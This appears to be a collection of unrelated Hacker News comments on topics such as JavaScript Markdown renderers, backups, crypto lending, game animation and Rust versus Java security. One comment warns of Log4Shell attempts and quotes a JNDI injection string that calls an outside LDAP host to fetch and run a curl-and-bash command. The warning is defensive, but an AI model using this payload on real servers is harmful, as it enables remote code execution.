skysight-inc/HackerNews huggingface dataset:
Favorite self-rendering Markdown tool in JavaScript??
Hi HNers. I'm currently using a static site generator, but I am really interested in exploring in-page JS Markdown to HTML tools.
So the Markdown to HTML rendering happens as page load time.

This would hopefully allow me to forego the static .md -> .html step I use for building my sites.

I found one called 'texme' here: https://github.com/susam/texme

Do you use or have written a similar tool?
I'd like to find what's available and try some of the different tools out.

Thanks,
Cameron
I think that the "politics and strategy" level is over-played. It exists, but it is not essential to the creation of a product - it is a consequence of the creation of an organisation to create the product.

At a senior senior level, the focus should be on un-creating the organisation so people can focus on building the product. Stack-ranking in companies is brutal but might be kept alive because it forces re-creation of the organisation as 10% of it vanishes each year...

I think that separating "management" as something to do with navigating social politics as a separate skill is taking something humans do every day at the school gate or the football field and claiming it has special status - it gets more vicious and more consequential because of the money involved yes, so perhaps having specialists is a good idea, but from an organisational design standpoint it seems sub optimal
I'd rather have people get stuck in their ways than literally dying. The deaths of billions of people is not an acceptable cost of "progress."
I was mistaken actually. It's "only" about 600k files. Sorry, and thanks for mentioning it! I'll correct it above too if I can.
That 3d Keanu in the white room had me fooled, the hair, the skin, the clothes are bang on. I read it did "4d scanning". So am I to assume the hair and clothes motion capture are part of the scan?
It’s notable that they mention the problems de-aging Keanu which really contrasts to the “Keanu is immortal” meme from a few years back. I guess age finally caught up to him.
one of the common moves is borrowing ETH using an illiquid otherwise-unsaleable shitcoin as collateral. Oh no, you defaulted, and you've lost your shitcoins for half their alleged face value in highly liquid ETH! Oh well.
I think https://github.com/markedjs/marked would be one of the more popular libraries in this category
> "opinions aren't dangerous" [...] Since that isn't accurate [...]

At face value, it really sounds like you're accusing people of thought-crimes for having an opinion (e.g. firefighters are overpaid/underpaid/fairly-paid).

> (lobbying can be dangerous)

And if you think that firefighters are underpaid, then couldn't lobbying (i.e. firefighter unions) possibly produce "good" outcomes? Can someone call that outcome dangerous? This really boils down to you making a value judgment AGAINST lowering firefighter pay. That's what the grandparent comment said and other commenters asked for the reasoning.
An die Musik: no modulation to flat VI. Didn't like it.

An die Leier: no modulation to flat VI. Didn't like it.

Der zürnende Barde: no modulation to flat VI. Didn't like it.

Das Weinen: no modulation to flat VI. Didn't like it.

Der Wallensteiner Lanzknecht beim Trunk: no modulation to flat VI. Didn't like it.

Der Winterabend: modulation to relative minor then changing mode to major-- judges? Buzz. Sorry, we are looking for a flat... wait a minute, wait just one minute... bass after the cadence in the new key is descending from the tonic by whole-step... and another whole step...

and we have a modulation to flat-VI.

I liked it.
The model for Keanu looks spot on.

Carrie Anne Moss, who on-camera looks stunning for her age....looks like she aged at least twenty years and her head was stretched, almost like they got the aspect ratio settings wrong. She's almost unrecognizable.

When they're in the car and the camera pans back to "IO" in the back seat, I felt like I was watching Who Framed Neo Rabbit.
Thank you - the Bronze Age palace culture (of which I know embarrassingly little) is a perfect example - interesting that we not quite fragment into exact smae shapes we built up from.
Dither Pattern Maker
We've been noticing attempted exploits in the wild. Attempts like these have started appearing in our logs:

> /?x=${jndi:ldap://45.155.205.XXX:12344/Basic/Command/Base64/<base64 encoded call to curl & bash>

Patch your tools, folks. If you can't do that, modify your ingress services and have them filter out stuff like this.
Well, their suggested fix basically says that I should "unlink" my computer from the online backup, and relink it (by re-installing the Backblaze app). But before I do that, I should download any missing files, since they will be deleted from the backup upon re-link (if they can't be found on my computer).

But I can't do that without knowing which files are missing.
Well since the PS4, poor animation has been a way bigger problem than rendering...
That's why WW2 planes mounted guns on their wings, or fired cannons through the propeller boss.

By using an interruptor gear to allow firing through the propellor blades, fewer bullets were able to be fired and therefore causing less damage to the target.
That's cyanide. That is also the most painful thing ever, but at least quick.
Pretty bold claim with 0 evidence.
The Illustris project is a large cosmological simulation of galaxy formation
Thank you! Interesting to see an intervention trial. n=75 is what it is, given the possible confounders (could not control home environment, etc) but I'll be interested to read that in more details =)
I agree about that line in the documentation being too simple (though it shouldn't deter the technical users here.) They should advise to order a backup drive and compare all the files, or provide CLI instructions to check the safety log file against the one-liner. They seem to provide much better, candid support for hardware issues/safety freezes on reddit, based on what others have posted here, which is cool of them. Contacting support should yield similarly complete answers.
I need to dig in more and reevaluate my position. I’m largely informed on this by Rip Anderson and to some extent James Mahaffey. I need to go a bit broader and deeper.
I was about to use Backblaze Personal and then noticed that. Was then about to use Arq + Backblaze B2 when I realized that (1) Arq supports OneDrive, (2) I have a TB of OneDrive as part of my Microsoft 365 subscription, and (3) I only use cloud storage for file transfer between mobile devices and desktop, so my OneDrive space was almost all unused, so went with Arq + OneDrive. 3 years of weekly backups later and I've still only used about half of my 1 TB.

The only thing I'm not happy about with Arq is that a "verify" downloads all the backup data to checksum it. That takes 3 or 4 days on my connection.

I thought I read that many cloud storage provider APIs provide a way to ask the server for a checksum of a stored blob. I'd have expected Arq to make use of that, but maybe it is not reliable (the server might just report what the checksum is supposed to be, not actually read the data and checksum it?).

Arq documents their storage format. I wonder if it would be possible to use a VM on Azure to access my OneDrive storage and do the checksumming on the VM?
Another vote here for Beyond Compare. Awesome software on both PC and Mac.
How do we measure the amount of dust?
Some people seem to think this is a worthless comment, I prefer to see it as a good book recommendation. It also jives with my feeling that dark matter has something to do with life being present in a galaxy, the effect it has on the structure of galaxies seems almost... deliberate.
I used to be a game dev, and the goal always was to create an illusion; physics and whatnot was actually used primarily in order to save the effort, and I, too, thought that quality suffered and things would come out less fun that way.
The "goto fail" bug isn't a great example; Rust actually does specifically guard against this by requiring curly braces around the body of "if".

Here's an explanation of "goto fail", which includes a code snippet.

https://nakedsecurity.sophos.com/2014/02/24/anatomy-of-a-got...

If C conditionals required explicit braces around the body, the second fail would have been redundant code instead of a security vulnerability.

Additonally, Rust will warn you if you have "unreachable" code, such as all the code after the unconditional "goto fail". Though, I'm sure modern C compilers would also warn about this.

All that said, Rust definitely does have plenty of bug classes left for people to trip over. Integer under/overflows come to mind (though they're just logic errors instead of undefined behavior).
Only anecdotes from several people working there at different divisions. I think I've seen it mentioned here at times as well.

One of the lead devs - years of tenure - on one of the Android backend teams had barely heard of the name and wasn't sure what it was when I brought it up 2 years ago.

Linux containers including Docker are absolutely widespread as I understand it, though.
ArcaneGANv0.3 face portrait to Arcane Style
Hey Bobby, does this kid smell strange to you?
Interesting, will check it out. Could use help with my neck.
I think the demo could have been more effective if the non-realtime elements were indicated more clearly; as-is people got confused what was realtime and what was just pre-recorded. I suppose that was kinda the point, but without any sort of reveal the effect gets lost. I don't know if the console demo had the option to switch to "nanite view" at any point, or just in the "gameplay" section, if it does then I guess that would help with the situation.
Who worked out those scores?

"Freedom House is a non-profit, non-governmental organization in Washington, D.C., that conducts research and advocacy on democracy, political freedom, and human rights. ... The organization was 66% funded by grants from the U.S. government in 2006, a number which has increased to 86% in 2016."
That issue shows up in headlines everywhere. It used to drive me nuts when you'd read "Kind person treats everyone to free lunch" only to find out they only did it that one time. The free lunch is no longer available, but the wording sounds like it is free right now.

Yes, my example is written in humour because I don't have an actual example in front of me. But you've definitely seen this kind of headline before.

Here's a common related pattern: "Famous rock stars die on 27th birthday." It sounds like all famous rock stars die on that special day, but the article is about a specific set of them who died (past tense) only.
Is that why me mum slap my hands when teaching me abc's, eh?
concern about low quality comments from an account called hn_throwaway who only posts Ask HNs? ok

share actual news articles and discussions happen naturally in the comments. If things are devolving or deemed 'uninteresting' then that's it for them, on to the next.
Othernet is a relay for APRS messages which include “outnet” in the text. A parabolic antenna/dish is not required.
I completely agree. Why on earth is anyone still using this stupid Marxist term for new ideas?

There are many new forms of collaborative and cooperative governance that we should be experimenting with that have nothing to do with communism or “socialism” in the political sense. It should be obvious how absurd it is to keep using this word unless you are genuinely using it I’m the Marxist sense.
I don't use Backblaze but I use rclone which can be connected to a Backblaze backend. Rclone is opensource and has a subcommand check[0] that can compare files between remote/local or remote1/remote2. I suggest using it to find the missing files.

[0] https://rclone.org/commands/rclone_check/
That raises a question. If there's a second variable, the dust %, how can we solve for the amount of dark matter from the visible mass?
What is new here from the conversation a year ago when this was new.

https://news.ycombinator.com/item?id=24052002
It’s more like I will lend you $1 if you post >$1 in collateral. In crypto, this is often in the form of a speculative token that is growing at potentially 200+% per year. The borrower is posting their collateral as security for the loan but they continue to own the collateral and enjoy the upside of price appreciation as long as the loan is in good standing.

As the sister comment pointed out, it is currently a $50 Billion industry and it didn’t exist a couple years ago. In fact, DeFi is probably the fastest growing industry in the history of fast growing industries. You would be wise to have a curious mind in this field instead of being closed to the possibilities.
Oh, actually, just browsing to kill time while watching the open browser window at the side refresh on the NHS booking site hoping it will work long enough to give me a booster jab appointment. It alternates between "you are in a queue ten minutes to go" and "our site is overloaded please try later" for about two hours now. Everyone else between the ages of 18-50 in the UK is basically doing the same thing, hammering the site. Its not quite as life and death exciting as I make it sound....
Watch this video to see what this is about:

https://www.youtube.com/watch?v=kVOTPAxrrP4

https://news.ycombinator.com/item?id=29525410
I think the report is pretty good. It has an obvious bias towards crypto/web3 being great but when you put so much money into it I suppose it kinda has to be that way.

As someone who sorta accepts some parts of the crypto narrative and use it on a daily basis the chapter about NFTs just does not make sense to me.
All these people high on play-to-earn games and buying non existant land in a game/virtual place that doesn't really yet exist.
The world just isn't there yet, this is a classic overhype situation and will have to go through years of winter before maybe actually working.

Could you see virtual land being worth something in a world where the Ready Player One Oasis exists? Yes sure.. but we're so far from that and I think a lot of these finance guys don't understand the gaming/technical challenges to get there.
Html can't be clean without custom components, you have to add elements to alter layout.

Unless you're making a "classic" HTML page like an article, but then you wouldn't have trouble with CSS.
My favorite interaction of Orwell with another writer is that with Aldous Huxley. Aldous Huxley wrote this in a letter to Orwell in 1949:

Within the next generation I believe that the world’s rulers will discover that infant conditioning and narco-hypnosis are more efficient, as instruments of government, than clubs and prisons, and that the lust for power can be just as completely satisfied by suggesting people into loving their servitude as by flogging and kicking them into obedience. In other words, I feel that the nightmare of Nineteen Eighty-Four is destined to modulate into the nightmare of a world having more resemblance to that which I imagined in Brave New World. The change will be brought about as a result of a felt need for increased efficiency. Meanwhile, of course, there may be a large-scale biological and atomic war — in which case we shall have nightmares of other and scarcely imaginable kinds.
Hands-On with the Redesigned Notepad for Windows 11
Pretty sure what you mean is Backblaze B2, but the author is talking about Backblaze Personal Backup.
These markets are monopsonies. The market rate is much lower than the actual value these jobs are worth. Even so, we do not have enough firefighters and teachers. This is a price signal that the current compensation is insufficient.
> The way I see it, I don't think these topics are relevant to the HN audience. I know that they are probably de facto HN topics because so many readers live in the US, but HN is supposed to be about tech regardless of where you live

I disagree here - I'm the one who posted the California using Texas' abortion law tactics against assault weapons, and I've never been to the US.

Nonetheless i find topics around history, human rights, laws, political systems interesting, hence the submission ( i have to admit i hesitated though).
So, not much has changed?
Hah, I once ran a PuTTY download mirror for the clients of an ISP I then worked at.

It was like 20 years ago. Even then it was obvious that they don't want any fancy domains, just that the work is done and putty.exe delivered where it's needed.
That I cannot answer (not sure where that link comes from, maybe nonameiguess can tell you). Looks like suppliers.fiscal.ca.gov is a externet location for vendors that do business the state, not a public website.
AVIF and WEBP formats give pretty good compression : https://squoosh.app/editor

* original colourful image : https://homebrewserver.club/images/lime2.png

* dithering/PNG on this site : 34 kB

* AVIF (quality 16 for similar "readability") : 21 kB

* WEBP (quality 16 for similar "readability") : 24 kB

But the "nice dithering style" is lost in the process, obviously.
Hard to say.

I've mainly written simple Lambdas in Python and for that it is easy to "get things done" with the AWS Management Console.

In some sense, when things "get hard" with Lambdas you probably shouldn't be using Lambdas anymore. The tough issues you address can best be addressed by having opinionated answers to them, but if those opinions don't jive with the rest of the systems somebody uses you can take your tool out of the running for some users.

Perhaps the most central idea in AWS architecture is how you keep track of connection information. (e.g. credentials to talk to Dynamo DB or SES or whatever) Life can be sweet if you have a good answer for this, but if you don't you are going to suffer, get hacked, etc.
Don't you consider #3 (rapid development) can be crucial in the quest to get paying customers and survive the first 12 months?
I firmly believe the opposite. We do better work when we work together.

And working on the same project as our colleagues in independent asynchronous interspersed bursts doesn't really count as working together. I'm talking about brainstorming approaches, weighing trade-offs, course correcting in real time, triangulating and incorporating other perspectives, etc, etc. This all is extremely difficult to do in scheduled meetings, and is also very difficult if it all has to slowly and disjointedly unfold over slack.

Instead of giving up and resigning to a lonely, diminished life of merely interleaved work effort, we need a new class of tools to help us find the same type of serendipitous productivity we used to find at the office, now when we're working remotely.

For my team at work, we are trying out this "virtual office"[1] where we start together for stand-up in the morning, and then self organize into whichever various spaces throughout the day, depending on whatever the moment calls for.

We're implementing a feature and want feedback from the customer support people? Just have them pop into our project room. Or a product person wants to check in on progress, they just come on by. Time for a 1:1? We break off to our own space. It's so cool that you can always just see where everyone is and what they're up to, rather than having to travel through calendars and coordinate slack/zoom. It's not perfect, but so, so much better than just alternating between meetings and working alone.

[1]: https://rehive.tv
Thanks. Helps that my brother is the CEO Also we have a lot of long term employees for an IT company, feels almost like a family with them. So yeah, very lucky indeed.
If you paid to attend an event and someone was disrupting it are you happy with the venue calling the police to come and deal with them so the event can resume?
For small panels, check sites already suggested by others. If you want to experiment with larger panels, craigslist or similar have good deals. Used panels or new leftovers from a pallet.

I've paid $130ish each for 4 panels 280w-315w. And since it's local, you don't get dinged for shipping.
Further to this: this kind of thing is something the Forth community takes seriously. They call these threaded code techniques. [0] (The Gforth interpreter, for instance, gives you the choice of various different techniques.)

Anton Ertl of Gforth fame published a microbenchmark performance comparison of toy interpreters, written in C, run on various CPUs. [1] As you say, the approach using function pointers (call threading) scores poorly.

Interestingly, direct threading and indirect threading are extremely close, with the winner seeming to depend on the specific CPU. [1] Branch-prediction differences seem to be the main reason. There was a 2001 paper on this. [2]

[0] https://www.complang.tuwien.ac.at/forth/threaded-code.html

[1] https://www.complang.tuwien.ac.at/forth/threading/

[2] https://github.com/ForthPapersMirror/Papers/blob/master/Conv...
This exposes part of the reason behind, and bodes poorly for those subject to, the lack of success underrepresented groups have in certain fields. If "tacit knowledge" most expeditiously gained from interacting with experts is the most important aspect of skill acquisition in cutting edge (relatively-speaking) areas like applied STEM, then, of course, issues of mentorship and gatekeeping rise to primacy.

This has been my personal experience as well, and it makes me highly suspicious of anyone whose advice for acquiring technical skills is simply to practice constantly - "draw every day," "you have to code," "always be networking," etc. They either aren't aware of how useless this advice is, or simply don't care about your growth or performance. Which, I admit ambivalently, is reasonable in this society; if you want someone to care, pay them to. This of course opens us back up to the issue of underrepresented groups often being unable to afford formal "someone caring about your growth."
I feel like you could probably realistically represent "people don't just walk into walls" by having invisible walls around everything, at a sensible offset, and do some other tweaking - if I guide a character down a corridor at a weird angle, they should just sort of casually turn to mostly align with the direction of the corridor. There are probably many, many special cases that need to be exceptions to this and figuring out the Right Thing to do in each of them may be an insanely complex task.

I seem to recall the game "Bound", where you guided a low-poly ballerina through fairly abstract levels, had a really nice solution to "people don't bash into walls": if you tried to guide your character into a wall, she'd just start doing some stretches against it, which feels pretty accurate given how I tend to behave when I'm attending dance classes regularly. :)

Other characters might do different things; a mopey teen might slouch against the wall, a gun-haver might press against it and peer to the side, looking for cover, etc.

Obvious reasons not to do this start with "oh great, one more thing to add to the character state machine and debug" and "oh great, a few more animations to fit into the budget". Maybe also "it stops feeling like you're controlling the character". Someone whose day job is video games probably has at least a dozen more reasons, possibly even stories from when they tried it and abandoned it.
I think it would actually be pretty tricky to do that in Rust without realising what you'd done, as seemingly happened to log4j.

The root of the log4j problem is a failure to distinguish between log format strings and the formatted log string, beyond that what happens is that Java allows a lot of flexibility at runtime which simply doesn't exist in Rust. In Java it's fine to, at runtime pull in classes you've never used before and run them, you can't do that in Rust - the types only existed at compile time. Indeed this is a key feature of Rust, because it means wrapper types are free at runtime, invaluable to the embedded firmware community who love type checking and other safety features but can't afford runtime overhead.
Very cool :D